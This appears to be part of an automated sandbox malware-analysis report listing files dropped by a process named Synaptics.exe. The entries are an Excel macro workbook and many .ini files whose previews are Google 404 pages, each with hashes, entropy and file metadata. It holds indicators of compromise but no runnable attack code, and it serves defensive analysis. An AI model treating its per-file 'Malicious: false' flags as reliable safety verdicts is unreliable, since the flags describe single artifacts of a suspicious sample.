Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4vjXN2E_Z3tbRFey263dYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1wyw8T59.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\49QKnBK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258729516586859
Encrypted:	false
SSDEEP:	24:GgsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	3A7C552B66FB440A0FF8403F85ECB2F0
SHA1:	CA18E6E071D1C3513D8108BEB6E2FDFB0DAEE9F6
SHA-256:	33B6A485D676EEFFCDFEE6EBD510C9D14D50409D212198F18688396890063A46
SHA-512:	7F2568184F9E5BE6FC6770100193FB62D73A0EA325E649A4267AAD6B18161559B6BC1AA2CC9EF4B9D510C157DB9228B5C8E60A312D7AAB63B26B4707328C7174
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bIxpjZwrHCgfMvnVaZ7kzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5o81Vwf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259881355316771
Encrypted:	false
SSDEEP:	24:GgsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	A47D4F79FF5BF9AFE45F8F6AC8DA1CC4
SHA1:	969CE7E2A521EF83994FA0B85D961B97397A6636
SHA-256:	CFF0AAB3CB8AD16A5751FE85E0D8732312359AB8546A71F4C69D8A3791545A3B
SHA-512:	4C04E2EA953CDD9448F0870853131A6692B5FEFEAD120AEF3DABCD764121B25B2FF1A2EBD7C3BBBE3C77B23ABC64A01D62A4B631A0592525C981B7E80B995078
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hvl2yRU0nEQzQ2TU8g4DzQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\95r1L17.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.281923441459496
Encrypted:	false
SSDEEP:	24:GgsF+0WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	CA6548B7771D3F2679D441FB6124F099
SHA1:	ADEFC207A02C98508CF81E5CE37DF587CA6EFEE9
SHA-256:	9A462FF9780DDEAE379819B0C1F76A8160B9CA8CD06193183199924C27601AF1
SHA-512:	D0DA30AE8F494367EB672B6E4E1079CE74B9BAC2EFCF024B0E0678C72646E1B4EB5214F4903B8A85370B8834D4A381EED4436A3F54583C1892C74D13468D416C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WZvE9EljvzCc7qDg8YJSKQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AmI19en.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264739013828651
Encrypted:	false
SSDEEP:	24:GgsF+0BBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++B+pAZewRDK4mW
MD5:	49BE6E76AC2EC51D2D1EA9D85887AD26
SHA1:	A597FBBD1D340A4F62AFF36B2D9C58956133CD14
SHA-256:	A78A752601D9E0EEACACF0A3D1EC2BD8E7023979C53EC54F6D3B39AED86751FA
SHA-512:	4C6F0150115A61695830E91387FC682942AD5A103E0F03204FBE1A71DB78F3C3E9DC19E7C0A9C61EC74B363E664EBB185AE4BC83158E2B6E891F5DDB64ED7D53
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6dnLQNY_3xOalhkPFOYRLg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BzWK3za.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261942892199657
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	53B6042B3ADBEB953C54C656D3728D8A
SHA1:	0184B548A3D9E484B93C993FF9A82EC3CF433F22
SHA-256:	F909415A4F0A25A6CAE1CBC416C144F01F265A72458BD29A5F86AE0331775373
SHA-512:	2B9448163F227ECFCED691D726A6A8ADA1BA971FBE964798B989FD6868B741A603BD4CC5494CE7B465238101E2501F198C617DB3853525D43FBF5DDAD600F0E7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y5XcpbOE0FY3vMGRbZe9ew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FZB4tJj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257254781921857
Encrypted:	false
SSDEEP:	24:GgsF+0gfbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+nfb+pAZewRDK4mW
MD5:	8157D19B37132887946DA2299A8932D6
SHA1:	A43351B1ACF44D114C1C5142FE10402F2AD69267
SHA-256:	95429E87A6069F2B6FC3F3EED3EEE835B70108EF848D496BD41D82769519C6AC
SHA-512:	F682E1599E85B4982B1698EECA3472A96A4C0DA71250FDAC5A33514F95DFB2ED1E18C989CBE71A51569D6232CD47DEBB2765BA1605E6892C252A7A3B031F919E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jfarYx5kiZgGaqI0uLjPGw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JrxYTmN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261417307240351
Encrypted:	false
SSDEEP:	24:GgsF+0EESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	C08F2ED8C6FAB1B2283AB78A368487E6
SHA1:	B38BF623E765022612854092F4576BC0E16B0978
SHA-256:	B74831F33DF40100D00FAEAA53B558FBC36956528609E0CA265A16361A36B0D1
SHA-512:	C2DD4387D5111030C5213DB98FAFCBE9A52B1D0E0E501E0A942FEDEE30A591C88860455D309E152303993086C83A7C511429FDD56DF375736A564D5D11B8CB00
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z8mhEdqQu1rJlJPLgVc7FQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\M3q2qvo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256907584338878
Encrypted:	false
SSDEEP:	24:GgsF+0gUGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+F+pAZewRDK4mW
MD5:	A68DF319C478518D2533A15A0D0BF332
SHA1:	F58FE8DA7E7EEA64BAC45857C418800B16B5F31B
SHA-256:	20DDF0E499FE34326AC3BEB02C61D437740CB341D62688CD00B88A8E17A41CF2
SHA-512:	920292839771C3C205E206FCEBC05D26DE4F2D7BA9973ED0EE85A105D5829686ABB6B730E4018E2E6F3DF5644FBEF7EB1CF29E0A74068704D77CEE4FB5FB79F6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gP36rTfPNuXwB2duYs6cdw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\O83ZXaX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265154399097005
Encrypted:	false
SSDEEP:	24:GgsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	F8D0F3810D94A31AE83F3531CF0999F3
SHA1:	B06AD10D6E6DC3A116D43EF891DDA239311BEBE5
SHA-256:	57287519E8330D2EA374021B7AE7F604DC02CE14EE7715134F72A7E15C9D3BE9
SHA-512:	C5762C99889157F8CEDBC3840F16A52F77AD1020F4B6C351594AF2CA0E2251DE6E50B56697FFC52C54F98AF8029CF9AECD7B154E3173F058BFF0FBDC0A3244A7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IpS1xV_PaEDp_NDGc7npBA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ObwEEEH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257367613744408
Encrypted:	false
SSDEEP:	24:GgsF+0JSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+m+pAZewRDK4mW
MD5:	89FF28A9A4C56BB157F7659436C5664F
SHA1:	59148C4817E35BF4EEE86BE2AFC503A4689646F6
SHA-256:	E2DE3ED0D5A63E082E05F12072A474749DE8C43762E0C947CA6DBE56182C504F
SHA-512:	657FF12F84C3273496545F516CA62A29881B1FA2FA4FA29957CBF33E599C9330A2D6BF8E28F0CB32FF4CDBA3E4DB741B0F3AC85592CDC13AB2C57DA7C908DFD0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1DqlScI64rVoIyx8awdRQg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PsGDc5S.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249501265073211
Encrypted:	false
SSDEEP:	24:GgsF+0DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	D6BF7E208682CB9AC7BD5826B46E6223
SHA1:	E8CD900C1465CB9DFA1F623E849423CA04827DA3
SHA-256:	A71D7F4C7177B8BCF31ABDBEBE71C67CD2EA746DBCB297D18AB18942CEB30B38
SHA-512:	D53A2975E71B94BB5BA6EE3F646FFFF82AB8297A8C947F1BA8D93B1A971A68B2BAB59301AB4E67EAC68E6DAA6F68E48C26110325DB130E50548E902936423359
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fQmlXiaPTba51oIAeg8Sbw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Yey7VKA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.279606691355615
Encrypted:	false
SSDEEP:	24:GgsF+0mesSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Gs+pAZewRDK4mW
MD5:	74ED26C1512904191929DC48BD1438E0
SHA1:	19E6A1B134FD1751CDA0AFDD89A14B50131F4E4D
SHA-256:	407E1504F8FE17E5ACFB2126DDEF8A40D734289DB2D43097C8493DA29F9A704C
SHA-512:	3331B9168BB38A6F320F01124F00DB99DA9CD4CD8F17D3830A1E4192968F5E77F129FBEACE728480F022BA8D87EBC594D40763A464A8D88780C07D19D40A63F9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NSZ9sMvAHQg1M5MRDGWOFg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\a4mqv7A.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2566617944156295
Encrypted:	false
SSDEEP:	24:GgsF+0/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+A+pAZewRDK4mW
MD5:	09604907EAFF74D5BE753A86721FF4E6
SHA1:	CEFEC24664BDE7517A662C577385F06403D9AF85
SHA-256:	1F2179892C9415F7A60DA6A6342E04D68EF2E93055D71B428A0897ECE1D69958
SHA-512:	F4C8111B31CE490C5654D08904328A145B170E8CE1B750D16BCAB564EE54D4DDD08D2E7D4EE5126D05A9FCE7B6F2AB0AE17B4EFA83895A8E00242F9EB6EFCB39
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Y73_ablrXpNU-SqAm0gaXQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\birl1h3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266231904491296
Encrypted:	false
SSDEEP:	24:GgsF+0sFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r+pAZewRDK4mW
MD5:	EF768FCB0A2E7A2153D7502362FF23B2
SHA1:	E1051BE29BAA3A6F234211BDA1AEBEA57053C634
SHA-256:	7981D3DFD67F2A00652EF88990C8C8A061545E31B919A744E799AD3D6D4B423D
SHA-512:	CDD030E271F43E6D26772DACEB3845948338C54B932603A5CCEFDCD904CEBDAD75C6007BE98235250782884AB4055DCC77001A776A2D4B3DC2309EC9A24230C1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="foEFgWSF92Z2_Kt_8qfU_Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\daADMGg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276144669289223
Encrypted:	false
SSDEEP:	24:GgsF+05H2V7SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ZV7+pAZewRDK4mW
MD5:	9898A3C6E40C0716434AD7F495BA1730
SHA1:	C0687902733825B01F70420F19D9F8421725BE20
SHA-256:	6DF94E9870CEEC4C3204BD09ECFEA02AE60C254A9159FA2287E113DBD27F6642
SHA-512:	8701083EB7EDC914FB7C7C5303B949C7649613E506DE3528238159B1E27268FC68752F00A95B741B23776D1187B33C5B71158AA140468CE4C5A64734C95D331F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FbqKKM9SIZMrbsp8QfK67A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eGSfhO8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
